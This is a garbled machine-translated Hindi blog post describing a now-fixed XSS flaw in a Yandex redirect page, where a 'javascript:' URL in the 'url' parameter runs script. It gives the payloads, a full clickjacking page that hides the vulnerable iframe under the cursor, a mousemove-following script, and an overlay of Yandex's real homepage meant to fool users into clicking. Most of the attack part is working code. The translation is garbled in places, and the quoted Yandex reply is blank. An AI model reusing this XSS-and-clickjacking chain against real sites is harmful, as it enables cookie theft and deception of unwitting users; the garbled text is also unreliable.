🚬 👨🏻‍⚖️ 🙂 हम YSSex (निश्चित) पर XSS स्पिन करते हैं 🧡 🕋 🌚

हैलो, हॉकर्स!

आज मैं नेटवर्क पर चला, राजधानी में मौसम देखने के लिए यैंडेक्स गया। जब मैंने "दूसरे शहर" बटन पर क्लिक किया, तो यैंडेक्स ने मुझे यहां पुनर्निर्देशित किया। मुझे लगता है कि हर कोई जो इस तरह के पते को देखता है, उसके मापदंडों में से किसी एक को बदलने की इच्छा होती है, या फिर प्रतिशोध की। :) मैं एक मानक में डाल दिया

"><script>alert('xss');</script>

और स्रोत में चढ़ गए, देखें कि क्या फ़िल्टर किया गया है और क्या नहीं है। यहाँ स्रोत में एक पंक्ति है।

 <span onclick="return {'b\-form\-button':{name:'b\-form\-button', 'retpath': &quot;\&quot;&gt;&lt;script&gt;alert('xss')&quot;}}"

खैर, मुझे लगता है कि बोरियत - सब कुछ फ़िल्टर्ड है। तब उन्होंने और अधिक बारीकी से देखा और महसूस किया कि यैंडेक्स शुरुआत में यूआरएल में एक प्रोटोकॉल नहीं जोड़ता है, और यहां आप चारों ओर खेल सकते हैं। शुरू की

 javascript: alert('xss');

- यह काम करता है! लेकिन दुर्भाग्य से, केवल जब आप "रिटर्न" बटन पर क्लिक करते हैं। आप इसे आजमा सकते हैं । पहले से अधिक दिलचस्प है, हम आगे खुदाई करते हैं ...

(शैक्षिक उद्देश्यों के लिए लिखित और प्रदत्त सामग्री।)

तो, क्या करने की जरूरत है ताकि उपयोगकर्ता को पता न चले कि वह "रिटर्न" पर क्लिक कर रहा है? - ठीक है। हमें इस पृष्ठ को एक iframe में रखना है, शैलियों को जोड़ना है, और इसे पारदर्शी रूप से हमारे पृष्ठ पर किसी भी तत्व पर रखना है। हम फ्रेम के साथ विकल्प का प्रयास करते हैं - यह काम नहीं करता है। यैंडेक्स यह जांचता है कि क्या उनकी साइट एक फ्रेम में खुली है, और मूल विंडो (ब्राउज़र) को यैंडेक्स पर पुनर्निर्देशित करता है। इस समस्या को कैसे हल करें? मुझे iframe के लिए सैंडबॉक्स विशेषता मिली, केवल html5 में पेश किया गया। और वह केवल उपयोगकर्ता को पुनर्निर्देशित करने से मना करता है, लेकिन विधि केवल क्रोम में काम करती है, और फिर, पूरे फ्रेम की सामग्री को अवरुद्ध करती है।

मूड पहले से ही बिगड़ने लगा था, और मैंने यह देखने का फैसला किया कि अन्य जगहों पर कहाँ रेटपाथ का उपयोग किया जाता है, क्योंकि अगर इस तरह की भेद्यता एक जगह पर है, तो यह दूसरे स्थान पर होगी। मुझे डॉक्स एंड हेल्प में एक युगल मिला, लेकिन बैक बटन नहीं था। फिर, इस तथ्य के कारण कि मैंने पैरामीटर को सही ढंग से नहीं बदला, यांडेक्स ने मुझे यहां भेजा, और यहां यह सब शुरू हुआ।

इसलिए, हम url पैरामीटर को बदलने का प्रयास करते हैं

 javascript:alert('ahoy!');

और लिंक पर क्लिक करें। यह काम करता है! अब हम आईफ्रेम में भेद्यता के साथ पता लगाने की कोशिश करते हैं। हुर्रे! कोई जाँच नहीं है। प्रयास करना । महान, आगे बढ़ें।

अब हमें iframe में आवश्यक शैलियों को जोड़ना होगा। मैंने ऐसा करने का फैसला किया: एक छोटे (100x20) दिवा के अंदर भेद्यता के साथ आईफ्रेम डाल दिया, और आईफ्रेम को स्थानांतरित कर दिया ताकि उपयोगकर्ता केवल लिंक देखेगा (जिसे आपको क्लिक करने की आवश्यकता है :)।

 <!DOCTYPE html> <html> <head> <style type="text/css"> body { margin:0; padding:0; } #helper { position: absolute; overflow: hidden; width: 200px; height: 13px; } #ifr { position: relative; top: -180px; left: -58px; } </style> </head> <body> <div id="helper"> <div style="width: 100%; height: 300px"> <iframe id="ifr" src="http://yandex.ru/redir_warning/?url=javascript:alert(document.cookie)" width="1000px" height="300" frameborder="no" scrolling="no" ></iframe> </div> </div> </body> </html>

हो गया, लेकिन किसी तरह उबाऊ! मैं चाहूंगा कि उपयोगकर्ता कुछ भी संदेह न करें। यह कैसे करना है? एक दिलचस्प सवाल। पहली बात जो दिमाग में आई वह यह थी कि यदि आप माउस के पीछे सहायक तत्व को स्थानांतरित करते हैं। इसका मतलब है कि उपयोगकर्ता को अब एक निश्चित स्थान पर क्लिक करने की आवश्यकता नहीं है। वह जहां भी क्लिक करेगा, स्क्रिप्ट निष्पादित करेगा। मैं कोड लाता हूं:

  var el; window.onload = function() { var ifr = document.getElementById("ifr"); //      if(navigator.userAgent.toLowerCase().indexOf("webkit") != -1) { ifr.style.top = "-180px"; } else { ifr.style.top = "-190px"; } el = document.getElementById("helper"); window.onmousemove = onmove; } function onmove(e) { el.style.left = (e.pageX - 50) + "px"; el.style.top = (e.pageY - 12) + "px"; return false; }

और हम मुख्य यैंडेक्स से एक बड़ा और दृश्यमान ई-मेल खोलते हैं, ताकि उपयोगकर्ता को लगे कि वह अभी भी वहीं है। :)

 <iframe id="yandex" src="http://yandex.ru/" width="100%" height="100%" frameborder="no"></iframe>

अच्छा है! यांडेक्स आपको फ्रेम के अंदर अपना ग्लेन पेज खोलने की अनुमति देता है।

हम तत्वों के zIndex को बदलते हैं और हमारे सहायक को अदृश्य बनाते हैं और एक अतिरिक्त पारदर्शी DIV जोड़ते हैं जो यांडेक्स फ्रेम को ओवरलैप करता है और फ्रेम के बीच संघर्ष से बचता है।

  <div id="overlay"></div>

 #helper { z-index: 20000; opacity: 0; } #yandex { z-index: 10; } #overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 20; }

तैयार उदाहरण।
यह कैसे काम करता है?

(लिंक सतर्कता को निष्पादित करते हैं (document.cookie))

मुझे उम्मीद है कि आपको मेरा लेख पसंद आया होगा। मुझे टिप्पणी करने में खुशी होगी।

20:30 के समय, भेद्यता को कवर किया गया है, मैं यैंडेक्स के लिए बहुत खुश हूं कि कमजोरियों को ठीक करने की गति इतनी तेज है। यांडेक्स से मेल आया:

  , !          ,      .    . --  , ...    http://help.yandex.ru/

हम YSSex (निश्चित) पर XSS स्पिन करते हैं

More articles: